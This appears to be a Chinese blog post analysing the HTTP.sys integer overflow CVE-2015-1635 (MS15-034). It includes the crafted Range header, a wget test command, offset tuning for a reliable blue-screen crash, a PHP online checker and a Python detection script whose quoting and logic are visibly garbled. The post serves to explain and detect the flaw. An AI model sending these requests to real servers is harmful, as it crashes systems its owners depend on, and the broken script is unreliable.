HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)

前言

在2015年4月的补丁日,微软通过标记为“高危”的MS15-034补丁,修复了HTTP.SYS中一处远程代码漏洞CVE-2015-1635。据微软公告(https://technet.microsoft.com/en-us/library/security/MS15-034)所称,当存在该漏洞的HTTP服务器接收到精心构造的HTTP请求时,可能触发远程代码在目标系统以系统权限执行。

影响范围

任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞重现

结合Pastebin网站上贴出的信息(http://pastebin.com/ypURDPc4)和微软公告,我们知道这是一个位于HTTP.SYS中的整数溢出漏洞,根据Pastebin网站的python代码,我们知道通过给IIS服务器发送这样格式的HTTP请求,就可以触发(检测)这个漏洞:

GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

我们直接使用wget或curl工具,也可以直接测试这个漏洞,例如使用如下命令行:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

此处18446744073709551615转为十六进制即是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,那么我们很容易可以想到,这个“整数溢出”必然同这个异常的超大整数有关。

Pastebin上POC的作者提供的检测工具代码认为,如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。

在实测中可能很多人也会发现并非如此,针对不同的服务器,这个测试程序很可能导致服务器直接BSOD甚至直接引发VM进程Crash(对于虚拟主机),这是为什么呢?这究竟是发生在何处的什么原因的整数一处呢?在下面的小节中我们将会进一步讲到。

漏洞原理分析

HTTP.SYS是微软从IIS6.0开始,为了在Windows平台上优化IIS服务器性能而引入的一个内核模式驱动程序。它为IIS及其他需要运用HTTP协议的微软服务器功能提供HTTP请求的接收与响应、快速缓存、提高性能、日志等功能服务。

更多关于HTTP.SYS的信息,可以参考微软Technet Library中”IIS 6.0 Architecture”中的“HTTP Protocol Stack”一章(https://technet.microsoft.com/en-us/library/cc739400(v=ws.10).aspx)。 HTTP.SYS提供了两个最重要的功能是Kernel-mode caching 和Kernel mode request queuing,而本次的安全漏洞就出在Kernel mode caching(内核模式缓存)中。

这里笔者以Windows 8.1 X86平台上安装的IIS 8.5为例进行分析讲解,这里我们分析的存在漏洞的HTTP.SYS版本号为6.3.9600.16520,修补后的http.sys版本为6.3.9600.17712

Pastebin上POC代码的匿名作者提到,补丁修补了http!UlpParseRange函数,通过RtlUlonglongAdd函数实现了修补/拦截。

从测试代码和函数名上,我们都可以看出这个漏洞同HTTP头中的”Range“域有直接的关系, Range请求是HTTP协议中HTTP客户端用于只获取服务器上文件的某一部分数据的请求域,更多关于Range请求的细节和规范,可以参考RFC 7233 “Hypertext Transfer Protocol (HTTP/1.1): Range Requests”(http://www.rfc-editor.org/rfc/rfc7233.txt)。

这里先简单介绍一下http.sys缓存工作的原理,IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Ranges对象的指定范围,而缓存中则包含了http文件和大小信息等。

我们接下来先来看看这个UlpParseRange函数,看他是否是这个漏洞的根本原因。

UlpParseRange的整个代码比较长,这里就不全部贴出了,函数的逻辑很简单,就是从Range bytes=lower-upper(也可以是lower-或-upper形式)中,解析出lower(即读取范围的开始offset)和upper(即读取范围的结束offset)),然后计算要读取的长度,在正常的情况下,upper大于lower,因此长度=upper-lower +1

这里如果是测试代码中的例子,lower=0 ,upper=0xFFFFFFFFFFFFFFFF

我们看看未修补前的代码是怎么样写的

通过汇编代码我们可知,这里是将upper先减去lower,再加1,得到两者之间的长度差距(例如 bytes=20-50, 则50-20+1 , 两者之间有31个字节)

按照例子里的写法,就是0xFFFFFFFFFFFFFFFF – 0 + 1 , 确实发生了整数溢出,64位无符号整数上溢为0。

我们来看修改后的版本:

这里的代码是将upper 先减去 lower,然后再用RtlUlonglongAdd 将结果同1相加,这里RtlUlonglongAdd会做安全性检查,如果相加结果溢出,则会返回STATUS_INTEGER_OVERFLOW.

由于测试代码中lower传入的是0,所以这里也发生了溢出并被捕获、阻止,但如果lower != 0,这里压根就不会捕获到整数溢出,这是怎么回事呢?真正出现问题的地方是这里吗?

实际上,这可能是POC编写者故意隐藏了一点关键细节: UlpParseRange通过操纵Range参数可以引发整数溢出,也确实被进行了修补,但是并非这个Range数据真正出现问题的地方。

我们进一步推测和分析,发现本次漏洞真正利用的地方,而是UlAdjustRangesToContentSize,这个函数用于最终修正Ranges中指定的StartingOffset和Length的合法性。

首先UrlpParseRange解析了Range参数并获得StartingOffset和Length后,会将其保存在http请求的对象中,而在解析到对应的缓存后,对比Offset + Length的大小,是否超过要请求的缓存文件数据长度,如果超出了,就要把length裁剪为适合的长度,防止读取超出的数据,见如下代码:

这里我们看到是一处可利用的整数溢出,Length + offset 如果发生溢出,就会小于contentsize,这里就会跳过这个”adjust”的过程,Length没有得到任何处理和修正,我们成功控制了Length。

以例子中的数值为例, length + offset = (0xFFFFFFFFFFFFFFFF + 1 ) + 0 (这个+ 1是前面UlpParseRange添加的) = 0 ,小于contentsize

而假设lower不为0,则结果 = lower ,只要结果小于contentsize,也是不会被adjust的。

也就是说,UlpParseRange处发生了整数溢出,而在此处导致了安全检查的绕过,同时,如果lower != 0 ,UlpParseRange时不会被触发整数溢出,而是应该在这里得以触发。

到这里我们就弄清楚了这个漏洞的触发流程和原理:

upper(range结束的offset) = 0xFFFFFFFFFFFFFFFF时,UlpParseRange或UlAdjustRangesToContentSize会触发整数溢出,导致绕过UlAdjustRangesToContentSize的Length检查
Length 可控,但是Length = 0xFFFFFFFFFFFFFFFF – lower(range开始的offset) , 且lower必须要小于要获取目标文件的数据长度contentlength。

BSOD的重现和原理

看到很多测试攻击程序的研究人员都无法稳定重现BSOD,看Github上的讨论,通过调整lower的数值,有些人可以打蓝Server 2012 R2,有些人就不行,或者换个文件就不行。

实际上,我们分析了这个漏洞的原理就可以很清楚的了解其中的规律了,首先一条原则是上面已经说到的lower不能大于请求的content length,例如假设请求iisstart.htm(648Bytes),lower就必须小于647。

同时,HTTP请求的处理实际是先通过w3wp发起的进程上下文内http先解析HTTP请求包,组合成紧凑的http回应包后,通过UlSendData->UxTpTransmitPacket->UxpTpEnqueueTransmitPacket排入队列,然后再由UlSendCacheEntryWorker将其发送出去,在这个过程中,如果range指定的数据开始offset小于紧凑的数据包头部的总长度,那么就不会触发到后面继续命中缓存的处理。(range只允许对数据文件内存指定,不能指定响应头内的)

这里我使用wget添加头部的方式测试,回应包的长度应该是(针对Windows 8.1 X86)310个字节,也就是说,lower必须大于等于310个字节,其他的发送还需要调整这个数值。

所以,针对iisstart.htm , lower >= 310 且 < 647 就可以稳定触发BSOD了

进一步利用

这个漏洞难道只能BSOD吗?说好的远程代码执行呢?再深入看下漏洞触发的细节,看上去似乎不能远程代码执行,但是远程读取服务器内核内存数据是有可能的。

在UlpSendCacheEntry->UlBuildFastRangeCacheMdlChain中,http.sys会为HTTP回应头和缓存来源buffer/length(我们可控)创建MDL,那么,对于我们的超长length,就会创造一个巨大的mdl,接着放入UxTpTransmitPacket的数据包对象中,通过tcpip->netio,最后解析MDL,将数据最终发出去。

此时是可以超过缓存的空间,读取缓存内存往后的数据,如果缓存内存后面是连续的0xffffffffffffffff – lower(4GB?)左右内核内存(通常是X64),就有可能实现信息泄露。

不过首先是很难有连续的4G内存,同时通过IIS也很难一下获得如此多的数据,那么只能设法降低这个内存要求:length = 0xFFFFFFFFFFFFFFFF – lower ,且lower < contetnlength才行,我们可以想办法提高content length,达到降低Length的目的,例如在服务器上寻找一个接近4GB大小的文件:)

POC及在线检测源码

HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

在线检测源码

<?php
	/**
	 * Yes this code is not brilliant, don't tell me about it.
	 */
	
	class VulnStatus
	{
		const FAIL        = 0;
		const VULN        = 1;
		const VULN_NOT_MS = 2;
		const PATCHED     = 3;
		const NOT_VULN    = 4;
		const NOT_VULN_MS = 5;
		const NOT_VULN_CF = 6;
		
		public static function AsString( $status, $host )
		{
			switch( $status )
			{
				case self::FAIL       : return '<div class="alert alert-warning">Couldn\'t connect to <b>' . $host . '</b> to test the vulnerability.</div>';
				case self::VULN       : return '<div class="alert alert-danger"><b>' . $host . '</b> is vulnerable.</div>';
				case self::VULN_NOT_MS: return '<div class="alert alert-warning"><b>' . $host . '</b> could be vulnerable, but it doesn\'t appear to be using IIS.</div>';
				case self::PATCHED    : return '<div class="alert alert-success"><b>' . $host . '</b> is patched.</div>';
				case self::NOT_VULN   : return '<div class="alert alert-info">Cannot discern patch status of <b>' . $host . '</b>, and it doesn\'t appear to be using IIS. This most likely means it is not vulnerable.</div>';
				case self::NOT_VULN_MS: return '<div class="alert alert-info">Cannot discern patch status of <b>' . $host . '</b>. This most likely means it is not vulnerable.</div>';
				case self::NOT_VULN_CF: return '<div class="alert alert-success"><b>' . $host . '</b> is using CloudFlare and is not vulnerable. <a href="https://blog.cloudflare.com/cloudflare-is-protected-against-cve-2015-1635/" target="_blank">See their blog post for more details.</a></div>';
			}
			
			return 'it broke, yo';
		}
	}
	
	$host = false;
	$status = false;
	$url = filter_input( INPUT_GET, 'host', FILTER_SANITIZE_URL );
	
	if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
	{
		$url = 'http://' . $url;
	}
	
	$port = parse_url( $url, PHP_URL_PORT );
	
	if( $port === null )
	{
		$port = 80;
	}
	
	$url = parse_url( $url, PHP_URL_HOST );
	
	if( $url !== null )
	{
		$cachekey = 'ms15034_' . $url . '_' . $port;
		$cachetime = 300; // 5 minutes
		
		$host = htmlspecialchars( $url, ENT_HTML5 );
		
		if( $port !== 80 )
		{
			$host .= ':' . $port;
		}
		
		$memcached = new Memcached( );
		$memcached->addServer( '/var/run/memcached/memcached.sock', 0 );
		
		$status = $memcached->get( $cachekey );
		
		if( $status === false )
		{
			$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );
			
			if( $fp === false )
			{
				$status = VulnStatus::FAIL;
			}
			else
			{
				stream_set_timeout( $fp, 5 );
				
				$header = "GET / HTTP/1.1\r\n";
				$header .= "Host: stuff\r\n";
				$header .= "Range: bytes=0-18446744073709551615\r\n";
				$header .= "User-Agent: HTTPsys online check\r\n";
				$header .= "Connection: close\r\n\r\n";
				
				fwrite( $fp, $header );
				
				$response = fread( $fp, 1024 );
				
				fclose( $fp );
				
				if( strpos( $response, 'Requested Range Not Satisfiable' ) !== false )
				{
					$status = strpos( $response, 'Microsoft' ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
				}
				else if( strpos( $response, 'The request has an invalid header name' ) !== false )
				{
					$cachetime = 3600; // cache patched servers for 1 hour
					$status = VulnStatus::PATCHED;
				}
				else if( strpos( $response, 'Microsoft' ) === false )
				{
					if( strpos( $response, '403 Forbidden' ) !== false && strpos( $response, 'cloudflare-nginx' ) !== false )
					{
						$status = VulnStatus::NOT_VULN_CF;
					}
					else
					{
						$status = VulnStatus::NOT_VULN;
					}
				}
				else
				{
					$status = VulnStatus::NOT_VULN_MS;
				}
			}
			
			unset( $fp, $header, $response );
			
			$memcached->set( $cachekey, $status, $cachetime );
		}
		
		$status = VulnStatus::AsString( $status, $host );
	}
?>
<!DOCTYPE HTML>
<html lang="en">
<head>
	<meta charset="utf-8">
	<meta name="theme-color" content="#424242">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	
	<title>MS15-034 Test</title>
	
	<link rel="author" href="https://plus.google.com/+thexpaw">
	<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
	
	<style type="text/css">
		.container {
			max-width: 900px;
		}
		
		.masthead {
			position: relative;
			padding: 20px 0;
			text-align: center;
			color: #fff;
			background-color: #424242;
			margin-bottom: 20px;
		}
		
		.masthead a {
			color: #fff;
		}
		
		.footer {
			text-align: center;
			padding: 15px;
			color: #555;
		}
		
		.footer span {
			color: #FA5994;
		}
		
		.form-inline {
			text-align: center;
			margin-bottom: 20px;
		}
		
		.github {
			position: absolute;
			top: 0;
			right: 0;
		}
	</style>
</head>
<body>
	<div class="masthead">
		<div class="container">
			<h1>HTTP.sys vulnerability test</h1>
			<h3>Enter a URL or a hostname to test the server for <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
		</div>
	</div>
	
	<a href="https://github.com/xPaw/HTTPsys">
		<img class="github" src="https://camo.githubusercontent.com/38ef81f8aca64bb9a64448d0d70f1308ef5341ab/68747470733a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f72696768745f6461726b626c75655f3132313632312e706e67" alt="Fork me on GitHub">
	</a>
	
	<div class="container">
		<blockquote>
			<p>A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who successfully exploited this vulnerability could execute arbitrary code in the context of the System account.</p>
			<p>To exploit this vulnerability, an attacker would have to send a specially crafted HTTP request to the affected system. The update addresses the vulnerability by modifying how the Windows HTTP stack handles requests.</p>
		</blockquote>
		
		<form class="form-inline" id="js-form" method="GET">
			<div class="form-group">
				<input type="text" class="form-control input-lg" id="js-input" placeholder="bing.com" name="host" autofocus<?php if( $host !== false ) { echo ' value="' . $host . '"'; } ?>>
				<button type="submit" class="btn btn-primary btn-lg">Check</button>
			</div>
		</form>
		
		<?php if( $status !== false ) { echo $status; } ?>
		
		<div class="footer">Made with <span>♥</span> by <a href="http://xpaw.me" target="_blank">xPaw</a> (<a href="https://twitter.com/thexpaw" target="_blank">@thexpaw</a>) | All results are cached for five minutes</div>
	</div>
</body>
</html>

漏洞验证POC

python版

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
       print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "老D提示:请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
             "需要手动检测")
        usr_domain = raw_input("输入域名扫描: ")
        identify_iis(usr_domain)

数据包验证:

Range: bytes=0-18446744073709551615

发送测试代码,若返回“Requested Range Not Satisfiable”证明存在此漏洞。

安全建议

针对该漏洞,建议根据官网升级对应漏洞版本补丁。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值